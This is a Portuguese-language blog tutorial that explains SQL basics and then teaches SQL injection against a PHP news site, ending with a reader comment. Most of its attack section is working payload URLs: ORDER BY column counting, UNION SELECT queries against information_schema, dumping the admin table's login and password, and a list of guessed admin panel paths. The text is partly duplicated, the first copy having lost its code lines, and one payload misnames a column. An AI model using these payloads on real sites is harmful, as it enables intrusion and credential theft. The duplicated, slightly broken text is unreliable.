Introdução
Primeiramente vocês tem que saber a diferença entre a chamada ROM e a RAM, nas quais todos os dispositivos digitais são programados. ROM significa Read Only Memory, que em português quer dizer "Memória somente de leirura", que é o chamado Disco Rígido ou HD (Hard Disk), a desvantagem dele é a velocidade baixa, mas seu potêncial para guardar dados é gigantesco. A RAM significa Random Access Memory, que português quer dizer "Memória de acesso randômico", que na verdade aceita leitura e escrita, possui uma velocidade muito grande, mas sua capacidade de guardar dados é muito baixa.
Um servidor de internet geralmente usa um banco de dados para guardar informações gerais (notícias, contas, produtos, ...) e esses dados são acessados através de uma Query String (que logo irei falar sobre) que geralmente é chamada por linguagens de programação interpretadas, a maioria das vezes por PHP (Hypertext Preprocessor) e ASP (Active Server Pages).
Enquanto essas linguagens são interpretadas, elas rodam em modo RAM, nesse tempo ela pode chamar uma Query String (que é o chamado SQL, Structured Query Language) que acessa o banco de dados presente na ROM, retornando valores referentes a pesquisa que a Query String especifica.
~~
Linguagem SQL
O banco de dados é estruturado como várias matrizes matemáticas, possuí tabelas, linhas e colunas.
A linguagem SQL é a que acessa esse banco de dados de modo estruturado. Exemplo de um código SQL:
A tabela possuí as colunas e as colunas os valores, a sintaxe é a seguinte:
Retorno: a,1
OR ("ou") é um dos operadores de condições, os outros são AND ("e") e NOT ("não"). Eles retornam valores verdadeiros e falsos.
Exemplo de uso do OR e AND:
Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Ana' então
Nesse caso ele vai retornar Verdadeiro e Verdadeiro e o resultado geral vai ser Verdadeiro. Mas no próximo não:
Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Rafaela' então
Retorno: Verdadeiro AND Falso = Falso
Basta trocarmos o AND para OR que retornaremos Verdadeiro:
Se Nomedoirmão = 'Fernando' OR Nomedairmã = 'Rafaela' então
Retorno: Verdadeiro OR Falso = Verdadeiro
Tabela geral
V = Verdadeiro
F = Falso
V or V = V
V or F = V
F or F = F
V and V = V
V and F = F
F and F = F
not(V or V) = F
not(V or F) = F
not(F or F) = V
not(V and V) = F
not(V and F) = V
not(F and F) = V
No site da W3 tem vários tutoriais em inglês sobre SQL:
http://www.w3schools.com/sql/default.asp
~~
SQL injection
A arte de injetar códigos SQL começa na relação entre as linguagens de programação e a utilização de códigos SQL (Query String) na mesma.
Nesse tutorial iremos falar de uma simples injeção SQL em um site programado em PHP. Mas primeiro vamos entender como um site acessa o banco de dados por um exemplo:
Retorna a notícia para uma variável no PHP e imprime na tela.
Vamos entender como funciona dentro da linguagem PHP:
~~
Começando o ataque
Bom, depois de ficar falando sobre as estruturas e tudo, vamos começar com um exemplo simples, como, por exemplo, aquele que nós usamos:
Para verificar se ele é mesmo vulnerável, já que não iremos ter acesso ao código fonte do site, colocamos um apóstrofo no valor de id:
ORDER = ordena as colunas e verifica quantas tem.
-- = Finaliza o código SQL.
Caso a tabela tabela_noticias tenha menos de 9 tabelas, ela retornará um erro. Caso ela tenha mais de 9 tabelas, ela não retornará nenhum erro, por isso vá almentando até conseguir saber quantas tabelas existem, ex.:
Então agora iremos arruma-la de acordo com o que diz:
Agora imagine que no site apareceu no lugar do titulo da notícia o valor 3 e no campo do texto o valor 4. Já que o texto provavelmente é maior, então usaremos ele para retornar todas as tabelas que existem no site:
information_schema.tables é uma tabela que guarda todas as tabelas existentes no site. concat é um comando que concatena (junta) textos. No campo de texto ele retorna todas tabelas existentes no banco de dados, caso você não queira que ele mostre todos, usaremos um comando assim:
Ou, para retornarmos só aquelas que começam com "a" (sem aspas), por exemplo, usaremos assim:
Imagine que essa última retorne a tabela admin (que em português significa administrador), sendo assim usaremos nossas técnicas para pegar as colunas dela:
information_schema.columns guarda nome de colunas e o esquema (um "sub-banco de dados" que guarda tabelas). O que esse vai fazer é retornar todas as colunas e esquemas ta tabela admin.
Digamos que ele retorne isso:
1º de tudo) Juntamos o esquema com o nome da tabela: admin_schema.admin
Agora vamos injetar a query:
Agora procuramos pelo site de login do admin, geralmente são esses:
Caso você consiga, pode ser que exista um LOG das localizações dos diretórios principais do site no arquivo robots.txt:
~~
~~
~~
Bom, é isso pessoal, tomara que tenham gostado, até a próxima.
Um servidor de internet geralmente usa um banco de dados para guardar informações gerais (notícias, contas, produtos, ...) e esses dados são acessados através de uma Query String (que logo irei falar sobre) que geralmente é chamada por linguagens de programação interpretadas, a maioria das vezes por PHP (Hypertext Preprocessor) e ASP (Active Server Pages).
Enquanto essas linguagens são interpretadas, elas rodam em modo RAM, nesse tempo ela pode chamar uma Query String (que é o chamado SQL, Structured Query Language) que acessa o banco de dados presente na ROM, retornando valores referentes a pesquisa que a Query String especifica.
~~
Linguagem SQL
O banco de dados é estruturado como várias matrizes matemáticas, possuí tabelas, linhas e colunas.
A linguagem SQL é a que acessa esse banco de dados de modo estruturado. Exemplo de um código SQL:
Tabela_1
Coluna_1
a
b
Coluna_2
1
2
A tabela possuí as colunas e as colunas os valores, a sintaxe é a seguinte:
select Coluna_1 from Tabela_1Retorno: a,b
select Coluna_2 from Tabela_2Retorno: 1,2
select * from Tabela_2Retorno: a,b,1,2
select * from Tabela_2 where Coluna_1='a' or Coluna_2=1Tradução: Selecionar qualquer objeto da tabela caso o valor de Coluna_1 seja "a" (sem aspas) ou o valor de Coluna_2 seja 1.
Retorno: a,1
OR ("ou") é um dos operadores de condições, os outros são AND ("e") e NOT ("não"). Eles retornam valores verdadeiros e falsos.
Exemplo de uso do OR e AND:
- Nome da seu irmão: Fernando
- Nome da sua irmã: Ana
Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Ana' então
Nesse caso ele vai retornar Verdadeiro e Verdadeiro e o resultado geral vai ser Verdadeiro. Mas no próximo não:
Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Rafaela' então
Retorno: Verdadeiro AND Falso = Falso
Basta trocarmos o AND para OR que retornaremos Verdadeiro:
Se Nomedoirmão = 'Fernando' OR Nomedairmã = 'Rafaela' então
Retorno: Verdadeiro OR Falso = Verdadeiro
Tabela geral
V = Verdadeiro
F = Falso
V or V = V
V or F = V
F or F = F
V and V = V
V and F = F
F and F = F
not(V or V) = F
not(V or F) = F
not(F or F) = V
not(V and V) = F
not(V and F) = V
not(F and F) = V
No site da W3 tem vários tutoriais em inglês sobre SQL:
http://www.w3schools.com/sql/default.asp
~~
SQL injection
A arte de injetar códigos SQL começa na relação entre as linguagens de programação e a utilização de códigos SQL (Query String) na mesma.
Nesse tutorial iremos falar de uma simples injeção SQL em um site programado em PHP. Mas primeiro vamos entender como um site acessa o banco de dados por um exemplo:
www.site.com/noticia.php?id=1Exemplo acima quer dizer que o site acessa a notícia na posição 1 em uma determinada coluna de uma determinada tabela. Esse outro exemplo acessa a notícia na posição 2:
www.site.com/noticia.php?id=2É simples, funciona como algo parecido com isso:
select noticia from tabela_noticias where noticia_id = XEsse X você pode substituir pelo valor de id, no primeiro caso que eu apresentei o 1 e no segundo caso o 2.
www.site.com/noticia.php?id=6SQL:
select noticia from tabela_noticias where noticia_id = 6
Retorna a notícia para uma variável no PHP e imprime na tela.
Vamos entender como funciona dentro da linguagem PHP:
$noticia=$_GET['id'];Esse é um caso de código vulnerável, ele não elimina os caracteres especiais, como o ' (apóstrofo), fazendo com que o invasor possa executar outros comandos como ORDER e SELECT.
$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;
~~
Começando o ataque
Bom, depois de ficar falando sobre as estruturas e tudo, vamos começar com um exemplo simples, como, por exemplo, aquele que nós usamos:
$noticia=$_GET['id'];Site: www.site.com/notícia.php?id=...
$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;
Para verificar se ele é mesmo vulnerável, já que não iremos ter acesso ao código fonte do site, colocamos um apóstrofo no valor de id:
www.site.com/notícia.php?id='Ele retornará uma mensagem de erro SQL, pois a query não irá entender o que é ':
select noticia from tabela_noticias where noticia_id = 'Agora que sabemos que ela é vulnerável, vamos injetar códigos SQL, ex.:
www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9--
ORDER = ordena as colunas e verifica quantas tem.
-- = Finaliza o código SQL.
Caso a tabela tabela_noticias tenha menos de 9 tabelas, ela retornará um erro. Caso ela tenha mais de 9 tabelas, ela não retornará nenhum erro, por isso vá almentando até conseguir saber quantas tabelas existem, ex.:
www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--Imagine que eu use isso e ele retorne um erro assim: "Column 13 does not exists".
Então agora iremos arruma-la de acordo com o que diz:
www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12--Agora usaremos o comando UNION que serve para unir todas as colunas e mostra-las no lugar do texto que deveria ser a notícia, além disso devemos mudar o valor da notícia para um na qual não exista notícia, geralmente usamos negativo:
www.site.com/notícia.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12--Union select = unir a seleção.
Agora imagine que no site apareceu no lugar do titulo da notícia o valor 3 e no campo do texto o valor 4. Já que o texto provavelmente é maior, então usaremos ele para retornar todas as tabelas que existem no site:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where 1=1--
information_schema.tables é uma tabela que guarda todas as tabelas existentes no site. concat é um comando que concatena (junta) textos. No campo de texto ele retorna todas tabelas existentes no banco de dados, caso você não queira que ele mostre todos, usaremos um comando assim:
www.site.com/notícia.php?id=-1 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables limit 2,1--Retorna 2ª tabela.
www.site.com/notícia.php?id=-1 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables limit 4,1--Retorna 4ª tabela.
Ou, para retornarmos só aquelas que começam com "a" (sem aspas), por exemplo, usaremos assim:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where table_name like 'a%'--
Imagine que essa última retorne a tabela admin (que em português significa administrador), sendo assim usaremos nossas técnicas para pegar as colunas dela:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_schema,'.',column_name),5,6,7,8,9,10,11,12 from information_schema.columns where table_name='admin'--
information_schema.columns guarda nome de colunas e o esquema (um "sub-banco de dados" que guarda tabelas). O que esse vai fazer é retornar todas as colunas e esquemas ta tabela admin.
Digamos que ele retorne isso:
admin_schema.id,admin_schema.login,admin_schema.senhaO que isso quer dizer é que o admin_schema é o esquema da tabela e o id, login e senha são as colunas. Agora é muito simples continuar, vamos tentar retornar o valor login e senha da tabela admin:
1º de tudo) Juntamos o esquema com o nome da tabela: admin_schema.admin
Agora vamos injetar a query:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(logon,'.',senha),5,6,7,8,9,10,11,12 from admin_schema.admin where 1=1--Pronto, se retornar o login e senha do admin funcionou, ex.:
admin123.senha123No caso acima, o login do admin é "admin123" (sem aspas) e a senha do mesmo é "senha123" (sem aspas).
Agora procuramos pelo site de login do admin, geralmente são esses:
www.site.com/admin
www.site.com/admin.php
www.site.com/admin/admin
www.site.com/admin/admin.php
www.site.com/login
www.site.com/login.php
www.site.com/login/login
www.site.com/login/login.php
www.site.com/login/admin
www.site.com/login/admin.php
www.site.com/admin/login
www.site.com/admin/login.php
Caso você consiga, pode ser que exista um LOG das localizações dos diretórios principais do site no arquivo robots.txt:
www.site.com/robots.txt
~~
~~
~~
Bom, é isso pessoal, tomara que tenham gostado, até a próxima.
Show de bola o seu material....parabens
ResponderExcluir